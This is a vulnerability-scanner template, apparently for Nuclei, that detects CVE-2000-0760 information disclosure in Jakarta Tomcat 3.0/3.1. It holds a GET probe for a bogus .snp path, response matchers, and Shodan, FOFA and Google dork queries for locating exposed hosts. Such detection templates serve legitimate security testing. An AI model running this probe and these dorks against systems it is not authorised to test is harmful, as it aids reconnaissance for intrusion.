Jakarta Tomcat 3.1 and 3.0 - Information Disclosure

id: CVE-2000-0760

info:
  name: Jakarta Tomcat 3.1 and 3.0 - Information Disclosure
  author: Thabisocn,0x_Akoko
  severity: medium
  description: |
    Jakarta Tomcat 3.1 and 3.0 under Apache contain a vulnerability in the Snoop servlet that reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension, exploit requires remote access.
  impact: |
    Attackers can retrieve sensitive system information, potentially aiding further attacks or information disclosure.
  remediation: |
    Update to the latest version of Jakarta Tomcat or apply security patches that fix the Snoop servlet issue.
  reference:
    - https://www.exploit-db.com/exploits/20132
    - https://nvd.nist.gov/vuln/detail/CVE-2000-0760
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
    cvss-score: 6.4
    cve-id: CVE-2000-0760
    epss-score: 0.30438
    epss-percentile: 0.96812
    cpe: cpe:2.3:a:apache:tomcat:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: tomcat
    shodan-query:
      - cpe:"cpe:2.3:a:apache:tomcat"
      - http.component:"apache tomcat"
      - product:"tomcat"
    fofa-query:
      - body="apache tomcat"
      - body="jk status manager"
    google-query:
      - site:*/examples/jsp/snp/snoop.jsp
      - intitle:"apache tomcat"
  tags: cve,cve2000,jakarta,tomcat,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/examples/jsp/snp/anything.snp"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Request Information"
          - "Path info"
          - "Server name"
          - "Remote address"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100edeb440c330134fe1ac9bfea8c693fa00f0b6fb9f194d45a445ac98860367c8002201e4dece797bd759b91e57ee9e2f899ef17ad6ed874731148390e3b0ace7bde30:922c64590222798bb761d5b6d8e72950